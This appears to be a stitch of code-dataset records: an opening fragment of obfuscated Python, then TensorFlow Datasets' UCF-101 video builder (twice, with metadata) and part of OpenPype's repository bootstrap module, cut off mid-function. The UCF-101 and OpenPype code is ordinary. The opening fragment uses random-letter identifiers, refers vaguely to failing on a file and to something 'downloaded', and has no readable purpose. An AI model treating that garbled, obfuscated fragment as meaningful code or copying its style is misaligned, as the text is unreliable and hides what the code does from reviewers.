IHryQeJHPJsqPciFMOzFBJSIYBHoQAWSalzuQGSFvCKODovJSwmHeAvVmpxGDvu: if OBBuuBipIrUcBWSQzjzFITDxyzDCutqrvQqSQYjxHYGXHEsfaSHBZEAfEYJxAKC == IHryQeJHPJsqPciFMOzFBJSIYBHoQAWSalzuQGSFvCKODovJSwmHeAvVmpxGDvu: VUfEGQJPGuyuPtGFDIIuXxEvpBREkxOlSyqJluJBIrGEsHFBAHtyERFHuwBIIAw = 'OBBuuBipIrUcBWSQzjzFITDxyzDCutqrvQqSQYjxHYGXHEsfaSHBZEAfEYJxAKC' elif VUfEGQJPGuyuPtGFDIIuXxEvpBREkxOlSyqJluJBIrGEsHFBAHtyERFHuwBIIAw == OBBuuBipIrUcBWSQzjzFITDxyzDCutqrvQqSQYjxHYGXHEsfaSHBZEAfEYJxAKC: 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rHtIxosFstXyFfFoQVxrvlDBJyAvJjpJAJHMyPyWovBFerryFrNgSsSIWItyIHC = OBBuuBipIrUcBWSQzjzFITDxyzDCutqrvQqSQYjxHYGXHEsfaSHBZEAfEYJxAKC else: rHtIxosFstXyFfFoQVxrvlDBJyAvJjpJAJHMyPyWovBFerryFrNgSsSIWItyIHC = IHryQeJHPJsqPciFMOzFBJSIYBHoQAWSalzuQGSFvCKODovJSwmHeAvVmpxGDvu return 'Error: Failed to GDksjjtSttQJGqJCSHBpJxAJSRDrJIDqHDEJwJyFDxQMvxxSnWJyzVqRauBigxx file.' else: try: IDZADQHQsJIGHRmsybSFjjEiRrPvQHIuRhRNAEBzCBZUIyizAmlwVGRIRIxywvw = 'WnMnyHutfGRxEDPpVURvjCuFHplMbpBxrzQIDFoIuFAFNirzJZoQGaFzORDhqBo' FJSJUFRstXryDCyytzXSOrHzOmzBEFFRrqzkyFmRSAJHCELuRJEzWwsOhFHkySx = 'XEqnGvGBCGpwQCFCnJISSDweuECROHPIoxHQuRGvxLxEDGxltOHWJzpGvlZFrDY' SvEoPDmsIFyCRPRJoTQDFxhHsDZCOQmohLAGZxJIAplJRjmSFwxuHFLDrzmGJJH = 'pzREqCGBxIEOtGKwCnXtOBxBQHgoxBuvFGOqRoHDQDvHFJRGCBFAxwQtFHIvGup' ipEJIbJBpMeRJxrGlQwFyDHtxPHAFEoSOJFJGhxDJCAIXVkxCIOACHICnksBJQy = 'IRCUGySzgCAnTRAIpvHoRfGAGHFDtcQoEGmFCvUAXqNyEmnvRJIEwJJHDiRRHzL' ARFDJFAIRUZCSHEyAGCRmHUnjuFtxCCRdFUukRGGAvTEDCzrRAaWuuEESlh = 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downloaded.'.format(HxwHvBvAuGyRHsGvpSuwCSfFJRIPHwhyURHCLIDxjNxXPBlJyOlGJNMxwzfohSQ)

true

f7f357dc58f66e4dd3d663bfce7bf99b507d3eaa

7,259

py

Python

tensorflow_datasets/video/ucf101.py

vanshhhhh/datasets

aee32f95273ca3bfe83e09fb9b00ba4bf23597a5

[ "Apache-2.0" ]

3,380

2018-09-11T05:03:31.000Z

2022-03-31T20:04:57.000Z

tensorflow_datasets/video/ucf101.py

vanshhhhh/datasets

aee32f95273ca3bfe83e09fb9b00ba4bf23597a5

[ "Apache-2.0" ]

3,142

2018-09-14T10:09:00.000Z

2022-03-31T18:25:44.000Z

tensorflow_datasets/video/ucf101.py

vanshhhhh/datasets

aee32f95273ca3bfe83e09fb9b00ba4bf23597a5

[ "Apache-2.0" ]

1,438

2018-09-16T13:58:22.000Z

2022-03-31T11:19:54.000Z

# coding=utf-8 # Copyright 2021 The TensorFlow Datasets Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """UCF-101 dataset from https://www.crcv.ucf.edu/data/UCF101.php.""" import os from absl import logging import tensorflow as tf import tensorflow_datasets.public_api as tfds UCF_101_URL = 'https://storage.googleapis.com/thumos14_files/UCF101_videos.zip' SPLITS_URL = ('https://www.crcv.ucf.edu/data/UCF101/' 'UCF101TrainTestSplits-RecognitionTask.zip') _CITATION = """\ @article{DBLP:journals/corr/abs-1212-0402, author = {Khurram Soomro and Amir Roshan Zamir and Mubarak Shah}, title = {{UCF101:} {A} Dataset of 101 Human Actions Classes From Videos in The Wild}, journal = {CoRR}, volume = {abs/1212.0402}, year = {2012}, url = {http://arxiv.org/abs/1212.0402}, archivePrefix = {arXiv}, eprint = {1212.0402}, timestamp = {Mon, 13 Aug 2018 16:47:45 +0200}, biburl = {https://dblp.org/rec/bib/journals/corr/abs-1212-0402}, bibsource = {dblp computer science bibliography, https://dblp.org} } """ _LABELS_FNAME = 'video/ucf101_labels.txt' class Ucf101Config(tfds.core.BuilderConfig): """"Configuration for UCF101 split and possible video rescaling.""" def __init__(self, *, split_number, width=None, height=None, **kwargs): """The parameters specifying how the dataset will be processed. The dataset comes with three separate splits. You can specify which split you want in `split_number`. If `width` and `height` are set, the videos will be rescaled to have those heights and widths (using ffmpeg). Args: split_number: The split number, one of (1, 2, 3) width: An integer with the width or None. height: An integer with the height or None. **kwargs: Passed on to the constructor of `BuilderConfig`. """ super(Ucf101Config, self).__init__( version=tfds.core.Version('2.0.0'), release_notes={ '2.0.0': 'New split API (https://tensorflow.org/datasets/splits)', }, **kwargs, ) if (width is None) ^ (height is None): raise ValueError('Either both dimensions should be set, or none of them') self.width = width self.height = height if split_number not in (1, 2, 3): raise ValueError( 'Unknown split number {}, should be 1, 2 or 3'.format(split_number)) self.split_number = split_number class Ucf101(tfds.core.GeneratorBasedBuilder): """Ucf101 action recognition dataset. Note that in contrast to the labels provided in the original dataset, here the labels start at zero, not at one. """ BUILDER_CONFIGS = [ Ucf101Config( name='ucf101_1_256', description='256x256 UCF with the first action recognition split.', width=256, height=256, split_number=1, ), Ucf101Config( name='ucf101_1', description='UCF with the action recognition split #1.', width=None, height=None, split_number=1, ), Ucf101Config( name='ucf101_2', description='UCF with the action recognition split #2.', width=None, height=None, split_number=2, ), Ucf101Config( name='ucf101_3', description='UCF with the action recognition split #3.', width=None, height=None, split_number=3, ), ] def _info(self): if self.builder_config.width is not None: if self.builder_config.height is None: raise ValueError('Provide either both height and width or none.') ffmpeg_extra_args = ('-vf', 'scale={}x{}'.format(self.builder_config.height, self.builder_config.width)) else: ffmpeg_extra_args = [] video_shape = (None, self.builder_config.height, self.builder_config.width, 3) labels_names_file = tfds.core.tfds_path(_LABELS_FNAME) features = tfds.features.FeaturesDict({ 'video': tfds.features.Video( video_shape, ffmpeg_extra_args=ffmpeg_extra_args, encoding_format='jpeg'), # pytype: disable=wrong-arg-types # gen-stub-imports 'label': tfds.features.ClassLabel(names_file=labels_names_file), }) return tfds.core.DatasetInfo( builder=self, description='A 101-label video classification dataset.', features=features, homepage='https://www.crcv.ucf.edu/data-sets/ucf101/', citation=_CITATION, ) def _split_generators(self, dl_manager): splits_folder = 'ucfTrainTestlist' urls_to_download = { 'videos': UCF_101_URL, 'splits': SPLITS_URL, } downloaded_urls = dl_manager.download_and_extract(urls_to_download) return [ tfds.core.SplitGenerator( name=tfds.Split.TRAIN, gen_kwargs={ 'videos_dir': downloaded_urls['videos'], 'splits_dir': downloaded_urls['splits'], 'data_list': '{}/trainlist{:02d}.txt'.format( splits_folder, self.builder_config.split_number), }), tfds.core.SplitGenerator( name=tfds.Split.TEST, gen_kwargs={ 'videos_dir': downloaded_urls['videos'], 'splits_dir': downloaded_urls['splits'], 'data_list': '{}/testlist{:02d}.txt'.format( splits_folder, self.builder_config.split_number), }), ] def _generate_examples(self, videos_dir, splits_dir, data_list): data_list_path_path = os.path.join(splits_dir, data_list) with tf.io.gfile.GFile(data_list_path_path, 'r') as data_list_file: labels_and_paths = data_list_file.readlines() for label_and_path in sorted(labels_and_paths): # The train splits contain not only the filename, but also a digit # encoding the label separated by a space, which we ignore. label_and_path = label_and_path.strip().split(' ')[0] label, path = os.path.split(label_and_path) # Fix an inconsistency between the names in the list and in the zip file. path = path.replace('HandStandPushups', 'HandstandPushups') video_path = os.path.join(videos_dir, 'UCF101', path) if not tf.io.gfile.exists(video_path): logging.error('Example %s not found', video_path) continue # We extract the label from the filename. yield path, {'video': video_path, 'label': label}

35.935644

95

0.626533

import os from absl import logging import tensorflow as tf import tensorflow_datasets.public_api as tfds UCF_101_URL = 'https://storage.googleapis.com/thumos14_files/UCF101_videos.zip' SPLITS_URL = ('https://www.crcv.ucf.edu/data/UCF101/' 'UCF101TrainTestSplits-RecognitionTask.zip') _CITATION = """\ @article{DBLP:journals/corr/abs-1212-0402, author = {Khurram Soomro and Amir Roshan Zamir and Mubarak Shah}, title = {{UCF101:} {A} Dataset of 101 Human Actions Classes From Videos in The Wild}, journal = {CoRR}, volume = {abs/1212.0402}, year = {2012}, url = {http://arxiv.org/abs/1212.0402}, archivePrefix = {arXiv}, eprint = {1212.0402}, timestamp = {Mon, 13 Aug 2018 16:47:45 +0200}, biburl = {https://dblp.org/rec/bib/journals/corr/abs-1212-0402}, bibsource = {dblp computer science bibliography, https://dblp.org} } """ _LABELS_FNAME = 'video/ucf101_labels.txt' class Ucf101Config(tfds.core.BuilderConfig): def __init__(self, *, split_number, width=None, height=None, **kwargs): super(Ucf101Config, self).__init__( version=tfds.core.Version('2.0.0'), release_notes={ '2.0.0': 'New split API (https://tensorflow.org/datasets/splits)', }, **kwargs, ) if (width is None) ^ (height is None): raise ValueError('Either both dimensions should be set, or none of them') self.width = width self.height = height if split_number not in (1, 2, 3): raise ValueError( 'Unknown split number {}, should be 1, 2 or 3'.format(split_number)) self.split_number = split_number class Ucf101(tfds.core.GeneratorBasedBuilder): BUILDER_CONFIGS = [ Ucf101Config( name='ucf101_1_256', description='256x256 UCF with the first action recognition split.', width=256, height=256, split_number=1, ), Ucf101Config( name='ucf101_1', description='UCF with the action recognition split #1.', width=None, height=None, split_number=1, ), Ucf101Config( name='ucf101_2', description='UCF with the action recognition split #2.', width=None, height=None, split_number=2, ), Ucf101Config( name='ucf101_3', description='UCF with the action recognition split #3.', width=None, height=None, split_number=3, ), ] def _info(self): if self.builder_config.width is not None: if self.builder_config.height is None: raise ValueError('Provide either both height and width or none.') ffmpeg_extra_args = ('-vf', 'scale={}x{}'.format(self.builder_config.height, self.builder_config.width)) else: ffmpeg_extra_args = [] video_shape = (None, self.builder_config.height, self.builder_config.width, 3) labels_names_file = tfds.core.tfds_path(_LABELS_FNAME) features = tfds.features.FeaturesDict({ 'video': tfds.features.Video( video_shape, ffmpeg_extra_args=ffmpeg_extra_args, encoding_format='jpeg'), tfds.features.ClassLabel(names_file=labels_names_file), }) return tfds.core.DatasetInfo( builder=self, description='A 101-label video classification dataset.', features=features, homepage='https://www.crcv.ucf.edu/data-sets/ucf101/', citation=_CITATION, ) def _split_generators(self, dl_manager): splits_folder = 'ucfTrainTestlist' urls_to_download = { 'videos': UCF_101_URL, 'splits': SPLITS_URL, } downloaded_urls = dl_manager.download_and_extract(urls_to_download) return [ tfds.core.SplitGenerator( name=tfds.Split.TRAIN, gen_kwargs={ 'videos_dir': downloaded_urls['videos'], 'splits_dir': downloaded_urls['splits'], 'data_list': '{}/trainlist{:02d}.txt'.format( splits_folder, self.builder_config.split_number), }), tfds.core.SplitGenerator( name=tfds.Split.TEST, gen_kwargs={ 'videos_dir': downloaded_urls['videos'], 'splits_dir': downloaded_urls['splits'], 'data_list': '{}/testlist{:02d}.txt'.format( splits_folder, self.builder_config.split_number), }), ] def _generate_examples(self, videos_dir, splits_dir, data_list): data_list_path_path = os.path.join(splits_dir, data_list) with tf.io.gfile.GFile(data_list_path_path, 'r') as data_list_file: labels_and_paths = data_list_file.readlines() for label_and_path in sorted(labels_and_paths): label_and_path = label_and_path.strip().split(' ')[0] label, path = os.path.split(label_and_path) path = path.replace('HandStandPushups', 'HandstandPushups') video_path = os.path.join(videos_dir, 'UCF101', path) if not tf.io.gfile.exists(video_path): logging.error('Example %s not found', video_path) continue yield path, {'video': video_path, 'label': label}

true

f7f35824c8a6e82ce9fc0ada0075de27eb37a571

42,286

py

Python

igniter/bootstrap_repos.py

yosuperdope/OpenPype

0c90df97ddb8cda291a4f66d35da58b3deb94a71

[ "MIT" ]

44

2019-03-19T04:56:35.000Z

2021-04-23T12:05:08.000Z

igniter/bootstrap_repos.py

jrsndl/pype

f9d80ef2c0663921291c5f47d24bea51fc43bac7

[ "MIT" ]

655

2020-03-17T15:10:21.000Z

2021-04-23T18:22:52.000Z

igniter/bootstrap_repos.py

jrsndl/pype

f9d80ef2c0663921291c5f47d24bea51fc43bac7

[ "MIT" ]

21

2019-03-19T04:56:38.000Z

2021-04-23T09:10:59.000Z

# -*- coding: utf-8 -*- """Bootstrap OpenPype repositories.""" from __future__ import annotations import logging as log import os import re import shutil import sys import tempfile from pathlib import Path from typing import Union, Callable, List, Tuple import hashlib from zipfile import ZipFile, BadZipFile from appdirs import user_data_dir from speedcopy import copyfile import semver from .user_settings import ( OpenPypeSecureRegistry, OpenPypeSettingsRegistry ) from .tools import get_openpype_path_from_db LOG_INFO = 0 LOG_WARNING = 1 LOG_ERROR = 3 def sha256sum(filename): """Calculate sha256 for content of the file. Args: filename (str): Path to file. Returns: str: hex encoded sha256 """ h = hashlib.sha256() b = bytearray(128 * 1024) mv = memoryview(b) with open(filename, 'rb', buffering=0) as f: for n in iter(lambda: f.readinto(mv), 0): h.update(mv[:n]) return h.hexdigest() class OpenPypeVersion(semver.VersionInfo): """Class for storing information about OpenPype version. Attributes: staging (bool): True if it is staging version path (str): path to OpenPype """ staging = False path = None _VERSION_REGEX = re.compile(r"(?P<major>0|[1-9]\d*)\.(?P<minor>0|[1-9]\d*)\.(?P<patch>0|[1-9]\d*)(?:-(?P<prerelease>(?:0|[1-9]\d*|\d*[a-zA-Z-][0-9a-zA-Z-]*)(?:\.(?:0|[1-9]\d*|\d*[a-zA-Z-][0-9a-zA-Z-]*))*))?(?:\+(?P<buildmetadata>[0-9a-zA-Z-]+(?:\.[0-9a-zA-Z-]+)*))?$") # noqa: E501 def __init__(self, *args, **kwargs): """Create OpenPype version. .. deprecated:: 3.0.0-rc.2 `client` and `variant` are removed. Args: major (int): version when you make incompatible API changes. minor (int): version when you add functionality in a backwards-compatible manner. patch (int): version when you make backwards-compatible bug fixes. prerelease (str): an optional prerelease string build (str): an optional build string version (str): if set, it will be parsed and will override parameters like `major`, `minor` and so on. staging (bool): set to True if version is staging. path (Path): path to version location. """ self.path = None self.staging = False if "version" in kwargs.keys(): if not kwargs.get("version"): raise ValueError("Invalid version specified") v = OpenPypeVersion.parse(kwargs.get("version")) kwargs["major"] = v.major kwargs["minor"] = v.minor kwargs["patch"] = v.patch kwargs["prerelease"] = v.prerelease kwargs["build"] = v.build kwargs.pop("version") if kwargs.get("path"): if isinstance(kwargs.get("path"), str): self.path = Path(kwargs.get("path")) elif isinstance(kwargs.get("path"), Path): self.path = kwargs.get("path") else: raise TypeError("Path must be str or Path") kwargs.pop("path") if "path" in kwargs.keys(): kwargs.pop("path") if kwargs.get("staging"): self.staging = kwargs.get("staging", False) kwargs.pop("staging") if "staging" in kwargs.keys(): kwargs.pop("staging") if self.staging: if kwargs.get("build"): if "staging" not in kwargs.get("build"): kwargs["build"] = "{}-staging".format(kwargs.get("build")) else: kwargs["build"] = "staging" if kwargs.get("build") and "staging" in kwargs.get("build", ""): self.staging = True super().__init__(*args, **kwargs) def __eq__(self, other): result = super().__eq__(other) return bool(result and self.staging == other.staging) def __repr__(self): return "<{}: {} - path={}>".format( self.__class__.__name__, str(self), self.path) def __lt__(self, other: OpenPypeVersion): result = super().__lt__(other) # prefer path over no path if self == other and not self.path and other.path: return True if self == other and self.path and other.path and \ other.path.is_dir() and self.path.is_file(): return True if self.finalize_version() == other.finalize_version() and \ self.prerelease == other.prerelease and \ self.is_staging() and not other.is_staging(): return True return result def set_staging(self) -> OpenPypeVersion: """Set version as staging and return it. This will preserve current one. Returns: OpenPypeVersion: Set as staging. """ if self.staging: return self return self.replace(parts={"build": f"{self.build}-staging"}) def set_production(self) -> OpenPypeVersion: """Set version as production and return it. This will preserve current one. Returns: OpenPypeVersion: Set as production. """ if not self.staging: return self return self.replace( parts={"build": self.build.replace("-staging", "")}) def is_staging(self) -> bool: """Test if current version is staging one.""" return self.staging def get_main_version(self) -> str: """Return main version component. This returns x.x.x part of version from possibly more complex one like x.x.x-foo-bar. .. deprecated:: 3.0.0-rc.2 use `finalize_version()` instead. Returns: str: main version component """ return str(self.finalize_version()) @staticmethod def version_in_str(string: str) -> Tuple: """Find OpenPype version in given string. Args: string (str): string to search. Returns: tuple: True/False and OpenPypeVersion if found. """ m = re.search(OpenPypeVersion._VERSION_REGEX, string) if not m: return False, None version = OpenPypeVersion.parse(string[m.start():m.end()]) return True, version @classmethod def parse(cls, version): """Extends parse to handle ta handle staging variant.""" v = super().parse(version) openpype_version = cls(major=v.major, minor=v.minor, patch=v.patch, prerelease=v.prerelease, build=v.build) if v.build and "staging" in v.build: openpype_version.staging = True return openpype_version def __hash__(self): if self.path: return hash(self.path) else: return hash(str(self)) class BootstrapRepos: """Class for bootstrapping local OpenPype installation. Attributes: data_dir (Path): local OpenPype installation directory. live_repo_dir (Path): path to repos directory if running live, otherwise `None`. registry (OpenPypeSettingsRegistry): OpenPype registry object. zip_filter (list): List of files to exclude from zip openpype_filter (list): list of top level directories to include in zip in OpenPype repository. """ def __init__(self, progress_callback: Callable = None, message=None): """Constructor. Args: progress_callback (callable): Optional callback method to report progress. message (QtCore.Signal, optional): Signal to report messages back. """ # vendor and app used to construct user data dir self._vendor = "pypeclub" self._app = "openpype" self._log = log.getLogger(str(__class__)) self.data_dir = Path(user_data_dir(self._app, self._vendor)) self.secure_registry = OpenPypeSecureRegistry("mongodb") self.registry = OpenPypeSettingsRegistry() self.zip_filter = [".pyc", "__pycache__"] self.openpype_filter = [ "openpype", "repos", "schema", "LICENSE" ] self._message = message # dummy progress reporter def empty_progress(x: int): """Progress callback dummy.""" return x if not progress_callback: progress_callback = empty_progress self._progress_callback = progress_callback if getattr(sys, "frozen", False): self.live_repo_dir = Path(sys.executable).parent / "repos" else: self.live_repo_dir = Path(Path(__file__).parent / ".." / "repos") @staticmethod def get_version_path_from_list( version: str, version_list: list) -> Union[Path, None]: """Get path for specific version in list of OpenPype versions. Args: version (str): Version string to look for (1.2.4+staging) version_list (list of OpenPypeVersion): list of version to search. Returns: Path: Path to given version. """ for v in version_list: if str(v) == version: return v.path return None @staticmethod def get_local_live_version() -> str: """Get version of local OpenPype.""" version = {} path = Path(os.environ["OPENPYPE_ROOT"]) / "openpype" / "version.py" with open(path, "r") as fp: exec(fp.read(), version) return version["__version__"] @staticmethod def get_version(repo_dir: Path) -> Union[str, None]: """Get version of OpenPype in given directory. Note: in frozen OpenPype installed in user data dir, this must point one level deeper as it is: `openpype-version-v3.0.0/openpype/version.py` Args: repo_dir (Path): Path to OpenPype repo. Returns: str: version string. None: if OpenPype is not found. """ # try to find version version_file = Path(repo_dir) / "openpype" / "version.py" if not version_file.exists(): return None version = {} with version_file.open("r") as fp: exec(fp.read(), version) return version['__version__'] def create_version_from_live_code( self, repo_dir: Path = None) -> Union[OpenPypeVersion, None]: """Copy zip created from OpenPype repositories to user data dir. This detect OpenPype version either in local "live" OpenPype repository or in user provided path. Then it will zip it in temporary directory and finally it will move it to destination which is user data directory. Existing files will be replaced. Args: repo_dir (Path, optional): Path to OpenPype repository. Returns: Path: path of installed repository file. """ # if repo dir is not set, we detect local "live" OpenPype repository # version and use it as a source. Otherwise repo_dir is user # entered location. if not repo_dir: version = self.get_local_live_version() repo_dir = self.live_repo_dir else: version = self.get_version(repo_dir) if not version: self._print("OpenPype not found.", LOG_ERROR) return # create destination directory if not self.data_dir.exists(): self.data_dir.mkdir(parents=True) # create zip inside temporary directory. with tempfile.TemporaryDirectory() as temp_dir: temp_zip = \ Path(temp_dir) / f"openpype-v{version}.zip" self._print(f"creating zip: {temp_zip}") self._create_openpype_zip(temp_zip, repo_dir.parent) if not os.path.exists(temp_zip): self._print("make archive failed.", LOG_ERROR) return None destination = self._move_zip_to_data_dir(temp_zip) return OpenPypeVersion(version=version, path=destination) def _move_zip_to_data_dir(self, zip_file) -> Union[None, Path]: """Move zip with OpenPype version to user data directory. Args: zip_file (Path): Path to zip file. Returns: None if move fails. Path to moved zip on success. """ destination = self.data_dir / zip_file.name if destination.exists(): self._print( f"Destination file {destination} exists, removing.", LOG_WARNING) try: destination.unlink() except Exception as e: self._print(str(e), LOG_ERROR, exc_info=True) return None try: shutil.move(zip_file.as_posix(), self.data_dir.as_posix()) except shutil.Error as e: self._print(str(e), LOG_ERROR, exc_info=True) return None return destination def _filter_dir(self, path: Path, path_filter: List) -> List[Path]: """Recursively crawl over path and filter.""" result = [] for item in path.iterdir(): if item.name in path_filter: continue if item.name.startswith('.'): continue if item.is_dir(): result.extend(self._filter_dir(item, path_filter)) else: result.append(item) return result def create_version_from_frozen_code(self) -> Union[None, OpenPypeVersion]: """Create OpenPype version from *frozen* code distributed by installer. This should be real edge case for those wanting to try out OpenPype without setting up whole infrastructure but is strongly discouraged in studio setup as this use local version independent of others that can be out of date. Returns: :class:`OpenPypeVersion` zip file to be installed. """ frozen_root = Path(sys.executable).parent openpype_list = [] for f in self.openpype_filter: if (frozen_root / f).is_dir(): openpype_list += self._filter_dir( frozen_root / f, self.zip_filter) else: openpype_list.append(frozen_root / f) version = self.get_version(frozen_root) # create zip inside temporary directory. with tempfile.TemporaryDirectory() as temp_dir: temp_zip = \ Path(temp_dir) / f"openpype-v{version}.zip" self._print(f"creating zip: {temp_zip}") with ZipFile(temp_zip, "w") as zip_file: progress = 0 openpype_inc = 98.0 / float(len(openpype_list)) file: Path for file in openpype_list: progress += openpype_inc self._progress_callback(int(progress)) arc_name = file.relative_to(frozen_root.parent) # we need to replace first part of path which starts with # something like `exe.win/linux....` with `openpype` as # this is expected by OpenPype in zip archive. arc_name = Path().joinpath(*arc_name.parts[1:]) zip_file.write(file, arc_name) destination = self._move_zip_to_data_dir(temp_zip) return OpenPypeVersion(version=version, path=destination) def _create_openpype_zip(self, zip_path: Path, openpype_path: Path) -> None: """Pack repositories and OpenPype into zip. We are using :mod:`zipfile` instead :meth:`shutil.make_archive` because we need to decide what file and directories to include in zip and what not. They are determined by :attr:`zip_filter` on file level and :attr:`openpype_filter` on top level directory in OpenPype repository. Args: zip_path (Path): Path to zip file. openpype_path (Path): Path to OpenPype sources. """ # get filtered list of file in Pype repository # openpype_list = self._filter_dir(openpype_path, self.zip_filter) openpype_list = [] for f in self.openpype_filter: if (openpype_path / f).is_dir(): openpype_list += self._filter_dir( openpype_path / f, self.zip_filter) else: openpype_list.append(openpype_path / f) openpype_files = len(openpype_list) openpype_inc = 98.0 / float(openpype_files) with ZipFile(zip_path, "w") as zip_file: progress = 0 openpype_root = openpype_path.resolve() # generate list of filtered paths dir_filter = [openpype_root / f for f in self.openpype_filter] checksums = [] file: Path for file in openpype_list: progress += openpype_inc self._progress_callback(int(progress)) # if file resides in filtered path, skip it is_inside = None df: Path for df in dir_filter: try: is_inside = file.resolve().relative_to(df) except ValueError: pass if not is_inside: continue processed_path = file self._print(f"- processing {processed_path}") checksums.append( ( sha256sum(file.as_posix()), file.resolve().relative_to(openpype_root) ) ) zip_file.write( file, file.resolve().relative_to(openpype_root)) checksums_str = "" for c in checksums: checksums_str += "{}:{}\n".format(c[0], c[1]) zip_file.writestr("checksums", checksums_str) # test if zip is ok zip_file.testzip() self._progress_callback(100) def validate_openpype_version(self, path: Path) -> tuple: """Validate version directory or zip file. This will load `checksums` file if present, calculate checksums of existing files in given path and compare. It will also compare lists of files together for missing files. Args: path (Path): Path to OpenPype version to validate. Returns: tuple(bool, str): with version validity as first item and string with reason as second. """ if not path.exists(): return False, "Path doesn't exist" if path.is_file(): return self._validate_zip(path) return self._validate_dir(path) @staticmethod def _validate_zip(path: Path) -> tuple: """Validate content of zip file.""" with ZipFile(path, "r") as zip_file: # read checksums try: checksums_data = str(zip_file.read("checksums")) except IOError: # FIXME: This should be set to False sometimes in the future return True, "Cannot read checksums for archive." # split it to the list of tuples checksums = [ tuple(line.split(":")) for line in checksums_data.split("\n") if line ] # calculate and compare checksums in the zip file for file in checksums: h = hashlib.sha256() try: h.update(zip_file.read(file[1])) except FileNotFoundError: return False, f"Missing file [ {file[1]} ]" if h.hexdigest() != file[0]: return False, f"Invalid checksum on {file[1]}" # get list of files in zip minus `checksums` file itself # and turn in to set to compare against list of files # from checksum file. If difference exists, something is # wrong files_in_zip = zip_file.namelist() files_in_zip.remove("checksums") files_in_zip = set(files_in_zip) files_in_checksum = set([file[1] for file in checksums]) diff = files_in_zip.difference(files_in_checksum) if diff: return False, f"Missing files {diff}" return True, "All ok" @staticmethod def _validate_dir(path: Path) -> tuple: checksums_file = Path(path / "checksums") if not checksums_file.exists(): # FIXME: This should be set to False sometimes in the future return True, "Cannot read checksums for archive." checksums_data = checksums_file.read_text() checksums = [ tuple(line.split(":")) for line in checksums_data.split("\n") if line ] files_in_dir = [ file.relative_to(path).as_posix() for file in path.iterdir() if file.is_file() ] files_in_dir.remove("checksums") files_in_dir = set(files_in_dir) files_in_checksum = set([file[1] for file in checksums]) for file in checksums: try: current = sha256sum((path / file[1]).as_posix()) except FileNotFoundError: return False, f"Missing file [ {file[1]} ]" if file[0] != current: return False, f"Invalid checksum on {file[1]}" diff = files_in_dir.difference(files_in_checksum) if diff: return False, f"Missing files {diff}" return True, "All ok" @staticmethod def add_paths_from_archive(archive: Path) -> None: """Add first-level directory and 'repos' as paths to :mod:`sys.path`. This will enable Python to import OpenPype and modules in `repos` submodule directory in zip file. Adding to both `sys.path` and `PYTHONPATH`, skipping duplicates. Args: archive (Path): path to archive. .. deprecated:: 3.0 we don't use zip archives directly """ if not archive.is_file() and not archive.exists(): raise ValueError("Archive is not file.") with ZipFile(archive, "r") as zip_file: name_list = zip_file.namelist() roots = [] paths = [] for item in name_list: if not item.startswith("repos/"): continue root = item.split("/")[1] if root not in roots: roots.append(root) paths.append( f"{archive}{os.path.sep}repos{os.path.sep}{root}") sys.path.insert(0, paths[-1]) sys.path.insert(0, f"{archive}") pythonpath = os.getenv("PYTHONPATH", "") python_paths = pythonpath.split(os.pathsep) python_paths += paths os.environ["PYTHONPATH"] = os.pathsep.join(python_paths) @staticmethod def add_paths_from_directory(directory: Path) -> None: """Add repos first level directories as paths to :mod:`sys.path`. This works the same as :meth:`add_paths_from_archive` but in specified directory. Adding to both `sys.path` and `PYTHONPATH`, skipping duplicates. Args: directory (Path): path to directory. """ sys.path.insert(0, directory.as_posix()) directory /= "repos" if not directory.exists() and not directory.is_dir(): raise ValueError("directory is invalid") roots = [] for item in directory.iterdir(): if item.is_dir(): root = item.as_posix() if root not in roots: roots.append(root) sys.path.insert(0, root) pythonpath = os.getenv("PYTHONPATH", "") paths = pythonpath.split(os.pathsep) paths += roots os.environ["PYTHONPATH"] = os.pathsep.join(paths) def find_openpype( self, openpype_path: Union[Path, str] = None, staging: bool = False, include_zips: bool = False) -> Union[List[OpenPypeVersion], None]: """Get ordered dict of detected OpenPype version. Resolution order for OpenPype is following: 1) First we test for ``OPENPYPE_PATH`` environment variable 2) We try to find ``openPypePath`` in registry setting 3) We use user data directory Args: openpype_path (Path or str, optional): Try to find OpenPype on the given path or url. staging (bool, optional): Filter only staging version, skip them otherwise. include_zips (bool, optional): If set True it will try to find OpenPype in zip files in given directory. Returns: dict of Path: Dictionary of detected OpenPype version. Key is version, value is path to zip file. None: if OpenPype is not found. Todo: implement git/url support as OpenPype location, so it would be possible to enter git url, OpenPype would check it out and if it is ok install it as normal version. """ if openpype_path and not isinstance(openpype_path, Path): raise NotImplementedError( ("Finding OpenPype in non-filesystem locations is" " not implemented yet.")) dir_to_search = self.data_dir user_versions = self.get_openpype_versions(self.data_dir, staging) # if we have openpype_path specified, search only there. if openpype_path: dir_to_search = openpype_path else: if os.getenv("OPENPYPE_PATH"): if Path(os.getenv("OPENPYPE_PATH")).exists(): dir_to_search = Path(os.getenv("OPENPYPE_PATH")) else: try: registry_dir = Path( str(self.registry.get_item("openPypePath"))) if registry_dir.exists(): dir_to_search = registry_dir except ValueError: # nothing found in registry, we'll use data dir pass openpype_versions = self.get_openpype_versions(dir_to_search, staging) openpype_versions += user_versions # remove zip file version if needed. if not include_zips: openpype_versions = [ v for v in openpype_versions if v.path.suffix != ".zip" ] # remove duplicates openpype_versions = sorted(list(set(openpype_versions))) return openpype_versions def process_entered_location(self, location: str) -> Union[Path, None]: """Process user entered location string. It decides if location string is mongodb url or path. If it is mongodb url, it will connect and load ``OPENPYPE_PATH`` from there and use it as path to OpenPype. In it is _not_ mongodb url, it is assumed we have a path, this is tested and zip file is produced and installed using :meth:`create_version_from_live_code`. Args: location (str): User entered location. Returns: Path: to OpenPype zip produced from this location. None: Zipping failed. """ openpype_path = None # try to get OpenPype path from mongo. if location.startswith("mongodb"): openpype_path = get_openpype_path_from_db(location) if not openpype_path: self._print("cannot find OPENPYPE_PATH in settings.") return None # if not successful, consider location to be fs path. if not openpype_path: openpype_path = Path(location) # test if this path does exist. if not openpype_path.exists(): self._print(f"{openpype_path} doesn't exists.") return None # test if entered path isn't user data dir if self.data_dir == openpype_path: self._print("cannot point to user data dir", LOG_ERROR) return None # find openpype zip files in location. There can be # either "live" OpenPype repository, or multiple zip files or even # multiple OpenPype version directories. This process looks into zip # files and directories and tries to parse `version.py` file. versions = self.find_openpype(openpype_path, include_zips=True) if versions: self._print(f"found OpenPype in [ {openpype_path} ]") 